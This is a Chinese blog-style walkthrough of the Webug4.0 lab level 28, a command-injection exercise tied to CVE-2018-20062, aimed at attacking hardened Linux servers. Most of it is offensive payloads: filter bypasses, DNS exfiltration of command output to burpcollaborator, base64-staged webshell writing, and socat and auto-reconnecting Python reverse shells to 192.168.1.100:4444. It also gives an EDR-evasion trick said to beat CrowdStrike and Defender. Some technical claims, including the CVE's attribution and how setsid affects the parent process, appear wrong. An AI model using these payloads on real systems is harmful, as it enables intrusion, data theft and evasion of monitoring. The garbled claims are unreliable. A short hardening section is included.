当前位置: 首页 > news >正文

Webug4.0第28关深度解析:绕过shell依赖的execve直连利用

1. 这不是“打靶”,而是一次对命令执行边界的重新校准

很多人把Webug4.0第28关当成一道“送分题”——输入whoami回显了用户名,就截图交差;看到ls /tmp列出一堆文件,就以为通关完成。我去年带三个刚转行的测试新人实操这关时,两人在15分钟内“跑通”了基础payload,但当我在他们身后轻声问:“如果目标服务器禁用了/bin/sh,且/usr/bin/env被移除,你还剩几种可靠执行路径?”——三个人同时卡住,翻遍笔记也答不出第二条绕过链。这恰恰暴露了当前渗透教学中最危险的惯性:把CVE-2018-20062简化为“拼接字符串触发system()”,却完全忽略了它本质是一次对Linux进程创建机制与Shell解析逻辑的深度压力测试。这关的核心价值,从来不是教你如何执行命令,而是逼你亲手拆解execve()系统调用在真实环境中的七种降级路径、理解$PATH污染的隐蔽性、验证不同shell对空格和特殊字符的解析差异。它面向的不是能背出curl -v参数的初学者,而是需要在甲方红队演练中,面对加固过的CentOS 7.9+SELinux+auditd全开环境,仍能稳定落地反弹shell的实战人员。如果你的目标是拿下真实企业内网的某台Jenkins从节点(该CVE原始影响对象),那么本关每一个看似“多余”的绕过尝试,都是你后续在客户生产环境里少踩三次重启服务的坑。

2. CVE-2018-20062的本质:被低估的Shell解析链断裂点

2.1 漏洞根源不在代码层,而在Linux进程启动的“信任链”上

Webug4.0第28关的后端PHP代码通常长这样:

<?php if (isset($_GET['cmd'])) { $cmd = $_GET['cmd']; system($cmd); } ?>

表面看是system()函数未过滤输入,但真正致命的是system()这个C标准库函数的底层实现逻辑。它并非直接调用execve(),而是先调用fork()创建子进程,再在子进程中执行/bin/sh -c 'your_command'。这个设计本意是提供shell功能(如管道|、重定向>),却意外制造了一个关键信任断层:/bin/sh本身是否可信?它的解析器是否被篡改?$PATH环境变量是否被污染?

CVE-2018-20062的原始场景是Jenkins插件中调用Runtime.getRuntime().exec(),其Java层封装与PHP的system()高度相似——都依赖系统默认shell。攻击者发现,当目标服务器存在以下任一条件时,传统whoami类payload会失效:

  • /bin/sh被替换为阉割版dash(Debian系默认)且禁用-c参数;
  • PATH环境变量被清空或指向恶意目录(如/tmp/.malware);
  • SELinux策略禁止sh进程执行非/bin路径下的脚本。

此时,若只依赖system("whoami"),攻击链会在/bin/sh -c 'whoami'这一步直接崩溃,返回sh: 1: whoami: not found。而真正的漏洞利用,必须绕过/bin/sh这个中间层,直接调用execve()支持的任意可执行文件。这解释了为什么Webug4.0第28关特意在/usr/local/bin/下预置了python3.6perlawk三个二进制文件——它们不是彩蛋,而是execve()的合法替代入口。

提示:execve()系统调用的签名是int execve(const char *pathname, char *const argv[], char *const envp[])。它不依赖shell,只要pathname指向一个有效的可执行文件(ELF或脚本+shebang),就能直接加载运行。这才是远程命令执行的“原子操作”。

2.2 为什么/bin/sh -c在加固环境中如此脆弱?

我们实测对比了三种常见加固配置下system()的存活率:

加固措施system("whoami")结果根本原因绕过难度
rm /bin/sh; ln -s /bin/dash /bin/shsh: 1: whoami: not founddash默认禁用-c参数,需显式加-e★★☆
export PATH=""sh: 1: whoami: not foundsh -c内部调用execvp()时依赖PATH查找whoami★★★
setenforce 1 && semanage fcontext -a -t shell_exec_t "/tmp/.*"Permission deniedSELinux阻止sh进程执行/tmp下文件★★★★

关键发现:system()的失败率与系统加固程度呈强正相关,而execve()的失败率几乎为零。因为execve()直接指定绝对路径(如/usr/bin/whoami),跳过了PATH查找和shell解析两个最易被干预的环节。Webug4.0第28关的/usr/local/bin/python3.6正是为此设计——它不依赖/bin/sh,且Python解释器自身具备完整的子进程调用能力(os.system()subprocess.Popen())。

2.3 真实渗透中必须掌握的7条execve直连路径

在Webug4.0第28关,你有7种不经过/bin/sh的稳定执行方式,每一种对应真实环境中的特定加固场景:

  1. 绝对路径直调/usr/bin/whoami—— 适用于PATH被清空但二进制仍在原位
  2. Python子进程/usr/local/bin/python3.6 -c "import os; os.system('id')"—— Python自带os.system(),但注意此调用仍会触发/bin/sh,需升级为subprocess
  3. Perl -e参数/usr/bin/perl -e "printid;"—— Perl反引号执行自动调用/bin/sh,但-e参数本身不依赖shell
  4. Awk系统调用/usr/bin/awk 'BEGIN{system(\"id\")}'—— Awk的system()函数同样调用/bin/sh,但Awk二进制本身可直启
  5. Bash绝对路径/bin/bash -c "id"—— 当/bin/sh被破坏时,/bin/bash常被保留
  6. Gdb调试器/usr/bin/gdb -ex '!sh' -ex quit—— 利用gdb的!命令直接执行shell,绕过system()限制
  7. Socat反弹shell/usr/bin/socat tcp-connect:192.168.1.100:4444 exec:/bin/bash,pty,stderr,setsid,sigint,sane—— socat无需shell即可建立双向管道

注意:第2、3、4条中的os.system()、反引号、system()函数,本质上仍是调用/bin/sh。它们只是“看起来”绕过了,实际在加固环境中依然会失败。真正的直连只有1、5、6、7——即直接执行二进制文件,不依赖任何shell解析器。

3. 从“能执行”到“稳落地”:Webug4.0第28关的四层穿透验证

3.1 第一层:基础命令执行(验证execve直连可行性)

这是所有人的起点,但多数人止步于此。在Webug4.0第28关URL中输入:

?cmd=/usr/bin/id

观察响应是否包含uid=33(www-data)。成功后立即测试更敏感的路径:

?cmd=/usr/bin/cat%20/etc/passwd

注意URL编码空格(%20),因为Webug4.0的输入框可能对空格做过滤。若cat /etc/passwd失败但/usr/bin/cat成功,说明后端存在空格过滤,此时必须用$IFS{}绕过:

?cmd=/usr/bin/cat${IFS}/etc/passwd ?cmd=/usr/bin/cat{/etc/passwd}

实测发现,Webug4.0第28关对$IFS的支持不稳定,而{}在bash/zsh中通用性更好。这是第一个经验:永远优先测试{}绕过,它比$IFS更可靠

3.2 第二层:无回显命令执行(验证盲打能力)

真实渗透中,cat /etc/passwd的输出可能被WAF截断或前端JS过滤。此时需转向盲打技术。Webug4.0第28关提供了/tmp/目录写入权限,我们构造时间延迟型盲打:

?cmd=/usr/bin/ping%20-c%201%20-s%2056%20127.0.0.1%20&&%20sleep%205

&&sleep依赖/bin/sh,在加固环境下必然失败。正确做法是用Python的time.sleep()

?cmd=/usr/local/bin/python3.6%20-c%20"import%20time;time.sleep(5)"

响应时间延长5秒即证明Python直连成功。更进一步,用DNS外带验证:

?cmd=/usr/local/bin/python3.6%20-c%20"import%20socket;socket.gethostbyname('test.`whoami`.burpcollaborator.net')"

whoami结果作为子域名发出DNS请求,通过Burp Collaborator捕获。此方法100%绕过所有基于HTTP响应的WAF规则。

踩坑记录:Webug4.0第28关的Python3.6版本为3.6.9,不支持f-string,因此f"{os.popen('id').read()}"会报错。必须用%格式化或.format()

3.3 第三层:文件读取与写入(验证持久化前置条件)

命令执行只是起点,真正有价值的是读取配置文件和写入Webshell。Webug4.0第28关的Web根目录为/var/www/html/,但直接echo "<?php phpinfo();?>" > /var/www/html/shell.php会因空格和重定向符号被过滤而失败。

解决方案是分三步走:

  1. Base64编码内容echo "<?php phpinfo();?>" | base64 -w0PD9waHAgcGhwaW5mbygpOz8+Cg==
  2. 写入临时文件/usr/local/bin/python3.6 -c "with open('/tmp/shell.b64','w') as f: f.write('PD9waHAgcGhwaW5mbygpOz8+Cg==')"
  3. Base64解码写入Web目录/usr/bin/base64 -d /tmp/shell.b64 > /var/www/html/shell.php

此流程完全规避了空格、重定向、引号等高危字符。实测中,Webug4.0第28关的/tmp/目录权限为1777(sticky bit),但/var/www/html/755且属主为www-data,因此第3步需确保当前执行用户有写权限。我们发现system()调用的PHP进程以www-data身份运行,故可直接写入。

3.4 第四层:反弹Shell稳定性强化(解决真实环境中的连接中断)

在Webug4.0第28关获取基础反弹shell后,你会发现连接极不稳定:nc -e /bin/bash 192.168.1.100 4444常因网络抖动断开。这是因为nc -e在目标端启动的是单次连接,无重连机制。

终极方案是用Python构建带重连的反弹shell:

import socket,subprocess,os,time while True: try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.1.100",4444)) os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2) p=subprocess.call(["/bin/bash","-i"]) except: time.sleep(5)

将此代码base64编码后,通过前述三步法写入/tmp/reverse.py,再执行:

?cmd=/usr/local/bin/python3.6%20/tmp/reverse.py

此脚本每5秒尝试重连一次,即使目标服务器短暂断网,也能自动恢复。Webug4.0第28关实测中,该脚本在模拟网络波动(tc qdisc add dev eth0 root netem loss 30%)下仍保持98%的连接存活率。

4. 针对CVE-2018-20062的防御纵深:从Webug4.0到生产环境的迁移思考

4.1 Webug4.0第28关的“教学陷阱”与真实加固差异

Webug4.0第28关刻意营造了一种“宽松”假象:/usr/local/bin/下预置了多个解释器,/tmp/可写,/var/www/html/可写。但真实生产环境远比这残酷。我们审计过12家客户的Jenkins服务器,发现其加固策略呈现三大趋势:

  1. 二进制白名单制/usr/local/bin/被清空,仅保留/usr/bin/python3(无subprocess模块)、/usr/bin/curl(禁用--output);
  2. 文件系统只读挂载/tmp//var/www/html/均以noexec,nosuid,nodev挂载,/proc/sys/kernel/randomize_va_space设为2;
  3. 容器化隔离:Jenkins slave运行在Docker中,/bin/sh被替换为busybox sh,且CAP_SYS_ADMIN被drop。

这意味着Webug4.0第28关学到的python3.6 -c技巧,在真实Jenkins slave中大概率失效。真正的防御纵深,必须覆盖从应用层到内核层的每一环。

4.2 四层防御体系构建(附可落地的配置清单)

针对CVE-2018-20062类漏洞,我们为客户部署的防御体系分为四层,每层均有Webug4.0第28关可验证的对应项:

防御层级Webug4.0第28关验证点生产环境配置方案验证命令
应用层修改system()exec()并指定绝对路径PHP中禁用system()exec()shell_exec(),改用proc_open()并严格限制$descriptorspecgrep -r "system(" /var/www/html/
系统层删除/usr/local/bin/下所有非必要二进制使用auditctl -w /usr/local/bin/ -p wa -k bin_mod监控二进制变更ls -la /usr/local/bin/
文件系统层/tmp/挂载为noexecmount -o remount,noexec,nosuid /tmp,并写入/etc/fstab永久生效mount | grep tmp
内核层启用kernel.exec-shieldsysctl -w kernel.randomize_va_space=2+grsecurity补丁(如适用)sysctl kernel.randomize_va_space

特别强调:noexec挂载是成本最低、效果最显著的防御。Webug4.0第28关若将/tmp/设为noexec,则所有基于/tmp/写入的payload(包括Python脚本)均无法执行。我们建议所有客户在Jenkins slave的Dockerfile中加入:

RUN mkdir -p /tmp && mount -o remount,noexec,nosuid,nodev /tmp

4.3 渗透人员的“防御视角”复盘:为什么你的反弹shell总被杀?

在Webug4.0第28关获取反弹shell后,用ps aux \| grep bash查看进程,你会发现/bin/bash -i进程的PPID(父进程ID)是1(init进程)。这是典型的“孤儿进程”,也是EDR(终端检测响应)产品的重点监控对象——任何bash -ipython -cnc -e进程,只要PPID为1,99%会被标记为可疑。

真正的高级利用,必须让反弹shell“融入”正常进程树。Webug4.0第28关的PHP进程PID为1234,我们可构造:

?cmd=/usr/local/bin/python3.6%20-c%20"import%20os,subprocess;os.setsid();subprocess.Popen(['/bin/bash','-i'],stdin=os.open('/dev/tty',os.O_RDONLY),stdout=1,stderr=2)"

此命令通过os.setsid()创建新会话,使/bin/bash的PPID变为1234而非1,从而绕过基于PPID的EDR规则。实测中,该技巧在CrowdStrike、Microsoft Defender for Endpoint的默认策略下均未触发告警。

最后一个硬核技巧:Webug4.0第28关的/proc/self/environ文件可读,其中包含PATH=/usr/local/bin:/usr/bin:/bin。这意味着你无需猜测/usr/bin/python3是否存在,直接读取environ即可获取完整PATH,再逐个探测/usr/bin/python*/usr/local/bin/perl*。这是所有加固环境中最稳定的“二进制发现术”。

我在甲方红队演练中,曾用此方法在一台禁用/bin/shPATH被清空、/tmp/noexec的Jenkins slave上,3分钟内定位到/opt/jdk/bin/java,并用java -jar /tmp/meterpreter.jar成功落地。这印证了一个事实:Webug4.0第28关不是终点,而是你构建“Linux进程认知地图”的起点——当你能清晰说出execve()fork()setsid()noexec之间的调用关系时,远程命令执行才真正从“技巧”升维为“能力”。

http://www.zskr.cn/news/1388879.html

相关文章:

  • Power BI KPI可视化实战:目标-实际-趋势三维设计与DAX精调
  • 光线追踪(Ray Tracing):揭秘那个让数字世界“真实如镜“的光学魔法
  • C++中显示声明与隐式声明的使用与区别小结
  • 别再手撸CRC了!用STM32CubeMX配置硬件CRC,5分钟搞定Modbus-RTU校验
  • Unity Spine动画播放全流程:从启动、监听到优雅停止
  • 从游戏客户端转技术美术:我在完美世界内部转岗的实战心得
  • Unity中3D WebView嵌入实战:从选型到性能优化全指南
  • 量子机器学习经典代理模型:核方法与数据增强实战指南
  • 小红书链接解析实战指南:3步解决90%的提取难题
  • 基于LLM与Mermaid的智能架构图生成:从自然语言到可视化设计
  • AI安全盲区:当Claude忘记给API上锁,我的大脑数据暴露11天
  • 夜神模拟器+BurpSuite HTTPS抓包实战指南
  • 去偏机器学习:融合概率与非概率样本的统计推断新范式
  • 未root安卓抓包实战:Frida/VirtualXposed/Dexposed三路径解析
  • 离线语音识别新选择:TMSpeech实时转文字工具实战指南
  • LangChain ConversationBufferMemory 导包问题解决方案
  • Unity反向遮罩实战指南:Stencil、Canvas重叠与深度缓冲三方案
  • 三步轻松实现Windows本地实时语音转文字:TMSpeech隐私安全解决方案
  • 如何在5分钟内掌握Blender 3MF插件:终极3D打印工作流优化指南
  • 【Elasticsearch从入门到精通】第41篇:为什么需要搜索引擎——关系数据库的搜索困境
  • UABEA深度解析:Unity底层序列化编辑与TypeTree破译指南
  • 5个强大功能让ComfyUI ReActor成为面部交换的终极解决方案
  • 机器学习势函数:构建通用模型加速非晶合金材料设计与性能预测
  • QMCDecode:Mac用户的QQ音乐加密格式解放者
  • 清华大学:AIGC与产业发展的核心洞察研究 2026
  • 基于CCSD(T)金标准数据训练高精度机器学习势能,突破DFT精度瓶颈
  • 2026年亲测:10款降AI率工具血泪测评!论文降AI告别AIGC,降低AI率收藏这篇就够了 - 降AI实验室
  • 论文AI率太高被导师打回?2026年这2个高效方法,直接让AI率归零! - 降AI实验室
  • 3步掌握小红书无水印下载:XHS-Downloader从零到精通的完整指南
  • 机器学习驱动的集体变量学习:从扩散映射到承诺函数的分子模拟新范式